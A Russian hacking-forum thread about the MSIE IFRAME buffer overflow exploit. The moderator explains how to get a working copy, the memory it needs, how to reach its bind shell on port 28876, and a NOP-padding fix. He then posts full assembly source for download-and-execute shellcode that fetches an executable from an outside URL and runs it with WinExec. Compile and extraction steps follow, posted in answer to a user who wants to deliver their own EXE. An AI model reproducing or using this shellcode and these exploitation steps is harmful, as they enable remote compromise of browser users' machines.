Объединенный Открытый Проект - Сайт для Настоящих Компьютерщиков

Объединенный Открытый Проект

Сайт для Настоящих Компьютерщиков

; Логин:
  Пароль:
Обычный
Безопасный
Запомнить пользователя



Зарегистрироваться
Забыли пароль?
 
 
 
Объединенный Открытый Проект »   Хакерство и безопасность »   MSIE IFRAME Buffer Overflow Exploit
RSS

MSIE IFRAME Buffer Overflow Exploit

Некоторые замечания по поводу его применения.

Текущий рейтинг темы: Нет
Правила раздела

<<Назад  Вперед>>Модератор: wsxПечать
 
4X_Pro
Руководитель Проекта
Настоящий Компьютерщик

Откуда: Москва
Всего сообщений: 2994
Рейтинг пользователя: 79





Дата регистрации на форуме:
29 сен. 2001
Всвязи с тем, что по поводу этого эксплойта у многих возникают вопросы, хочу сделать некоторые уточнения:
1) этот эксплойт содержит несколько непечатаемых символов, поэтому после открытия его в некоторых текстовых редакторах и сохранении он перестает работать (и в таком нерабочем виде он лежит на некоторых сайтах). Рабочую версию надо брать у первоисточника: http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html (и там найти ссылку на архив с Exploitом).
2) для работы exploitа нужно примерно 350 Mb оперативной памяти (неважно, физической или виртуальной), чтобы shell-код попал за адресом 0x0D0D0D0D. Если столько выделить не получится, то эксплойт не сработает (я неделю долбался, пока не понял, в чем тут дело).
3) тот shell-code, который поставляется вместе с exploitом, вешает на порт 28876 shell (командную строку) с правами пользователя, который запускал MSIE. Подключаться к нему можно обычным telnet'ом: telnet localhost 28876
4) в некоторых версиях MSIE смещение может быть "кривым", поэтому желательно добавить 4 NOPа в начало shell-code. Т.е. надо исправить shellcode = unescape("%u4343 на

shellcode = unescape("%u9090%u9090%u4343
mixas
Новичок


Всего сообщений: 2
Рейтинг пользователя: 0





Дата регистрации на форуме:
28 янв. 2005
Подскажите пожалуйста, как закодировать exe в юникод, чтобы вместо данного shell-code поставить свое exe.
4X_Pro
Руководитель Проекта
Настоящий Компьютерщик

Откуда: Москва
Всего сообщений: 2994
Рейтинг пользователя: 79





Дата регистрации на форуме:
29 сен. 2001
Закодировать файл в Unicode (и в некоторые другие форматы) можно с помощью специальной программы Beta с того же сайта, что и exploit (http://www.edup.tudelft.nl/~bjwever/src/beta.c).
Но тут есть одна проблема: кодировать надо не весь EXE-файл, а только его исполняемую часть. Т.е. надо найти способ отрезать заголовки, ресурсы и сегмент данных. Поэтому если файл большой, то имеет смысл закодировать shellcode, который осуществляет загрузку файла с указанного URLа и запускает его (у меня такой есть, если нужно, могу выложить, но я его сам еще не тестировал).
mixas
Новичок


Всего сообщений: 2
Рейтинг пользователя: 0





Дата регистрации на форуме:
28 янв. 2005
Да, если можно, выложите, а то я чувствую угроблю свой exe, если что то от него отрезать буду:)
4X_Pro
Руководитель Проекта
Настоящий Компьютерщик

Откуда: Москва
Всего сообщений: 2994
Рейтинг пользователя: 79





Дата регистрации на форуме:
29 сен. 2001
Вот ASM-овый исходник. Там надо исправить URL, и возможно, Kernel Base Address (точно не знаю, какой нужно под Win2k). Его нужно скомпилировать под MASM32 с генерацией LST-файла, потом HEX-коды из lst-файла надо забить в какой-нибудь HEX-редактор (например, WinHEX), и после этого уже кодировать полученный файл в unicode.



;

; "TheExEcutor" Class A v1.0 - Win32 Shellcode

;

;  Copyright © 2001 by Enrique A. Compaс Gzz.

;

;  Virtek Labs

;

;  http://www.virtekweb.net/labs

;

;

;  Downloads & Executes a file. It searches for function addresses

;  automatically by looking at the EXPORT table of Kernel32 with a

;  default Kernel base of 78e80000h. You can change this.

;







.386

.model flat, stdcall



option casemap:none



include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib



.data



data db "blah"





.code





shell_code_start:





        jmp fix_long_jmp             ;Jump to call back function



call_back:



        pop esi                      ;ESI = first var offset





real_code_start:    



  mov ebp, esp         ;Normalize the stack



  mov eax, [esi]               ;eax = ptr to "MZ" (Kernel Base)

  xor ax, ax



  mov ebx, eax                 ;ebx = ptr to "MZ"

  add eax, [eax+3ch]       ;eax = ptr to "PE"

  mov eax, [eax+78h]       ;eax = export tables RVA

  add eax, ebx         ;eax = ptr to export tables

  mov edi, [eax+20h]       ;edi = names tables RVA

  lea edi, [edi+ebx]       ;edi = names table ptr



; Ex table = 77ed5c20

; Names tables with RVAs of names = 77ed6f92



  add ebx, [edi]

  xor edx, edx

  xor ecx, ecx



search_function:



  inc ebx

  cmp [ebx], dl

  jne  no_zero

  inc  ecx

no_zero:

  cmp [ebx], DWORD PTR 'PteG'

  jne no_match

  cmp [ebx+4], DWORD PTR 'Acor'

        jne no_match

        je  search_complete

no_match:

  jmp search_function



search_complete:



  push eax

  inc ecx

  xor eax, eax

  mov al, 4

  mul ecx

  mov ecx, eax

  pop eax

  add eax, ecx

  add eax, 024h  

  push [esi+2]

  push word ptr [eax]

  pop ebx          ;EBX = GetProcAddress address... finally!



; Decode the NULL chars



  push esi

        add esi, 4



decode_loop:

  inc esi

  cmp byte ptr [esi], 0ffh

  jne skip_xor

  xor byte ptr [esi], 0ffh

skip_xor:

  cmp [esi], dword ptr 'EKIK'

  jne decode_loop



;Trick to avoid Nulls in the first jmp instruction...



  jmp skip_fix_long_jmp       ;Skipt the special jump

fix_long_jmp:

  jmp pi_offset        ;Continue the jump to the call back function  

skip_fix_long_jmp:

  

;Now we Download & Execute the file and terminate



  pop esi



  mov esp, ebp        ;Normalize ESP



  mov eax, [esi]              ;eax = ptr to "MZ" (Kernel Base)

  xor ax, ax



  push eax  



  add esi, 4

  push esi

  push eax

        call ebx        ;Call GetProcAddress



  add esi, 13

  push esi

  call eax        ;Call LoadLibraryA



  add esi, 7

  push esi

  push eax

  call ebx        ;Call GetProcAddress



  xor ecx, ecx

  push ecx

  push ecx

  add esi, 19

  push esi

  add esi, 28

  push esi

  push ecx        ;Call URLDownloadToFileA

  call eax



  pop eax

  push eax

  sub esi, 8

  push esi

  push eax

        call ebx              ;Call GetProcAddress



  xor ecx, ecx

  push ecx

  sub esi, 20

  push esi

  call eax        ;Call WinExec



  pop eax

  add esi, 8

  push esi

  push eax

  call ebx              ;Call GetProcAddress



        xor ecx, ecx

        push ecx

        call eax        ;Call ExitProcess



real_code_end:





pi_offset:

        call call_back              ;Return and push the address of the vars



vars_start:



  db 0ffh,0ffh,0e8h,077h      ;Specify the Kernel Base @ 77e80000h

  db "LoadLibraryA",0ffh

  db "URLMON",0ffh

  db "URLDownloadToFileA",0ffh

  db "sys.exe",0ffh

  db "ExitProcess", 0ffh

  db "WinExec",0ffh

  db "http://virtekweb.net/ncx99.exe",0ffh

        db "KIKE",0h        ;Marker to know we reached the EOC (end-o-code)



end shell_code_start

4X_Pro
Руководитель Проекта
Настоящий Компьютерщик

Откуда: Москва
Всего сообщений: 2994
Рейтинг пользователя: 79





Дата регистрации на форуме:
29 сен. 2001
Как выяснилось, есть более простой способ получения "чистого" кода: компиляция файла в формат COFF и применение утилиты dumpbin.
Т.е.
ml /coff s.asm
dumpbin s.obj /OUT:s.bin /rawdata
И потом из s.bin можно hex-коды выбирать построчно.
loading
Новичок


Всего сообщений: 1
Рейтинг пользователя: 0





Дата регистрации на форуме:
18 авг. 2006
простите можэт быть за тупой вопрос..
а можна ли эксплоит в .ехе фаил закодировать или как там ето звучит
и как это можна зделать ?
<<Назад  Вперед>>Модератор: wsxПечать
Объединенный Открытый Проект »   Хакерство и безопасность »   MSIE IFRAME Buffer Overflow Exploit
RSS
Быстрый переход в раздел:


Время выполнения скрипта: 0.0275. Количество выполненных запросов: 17, время выполнения запросов 0.0133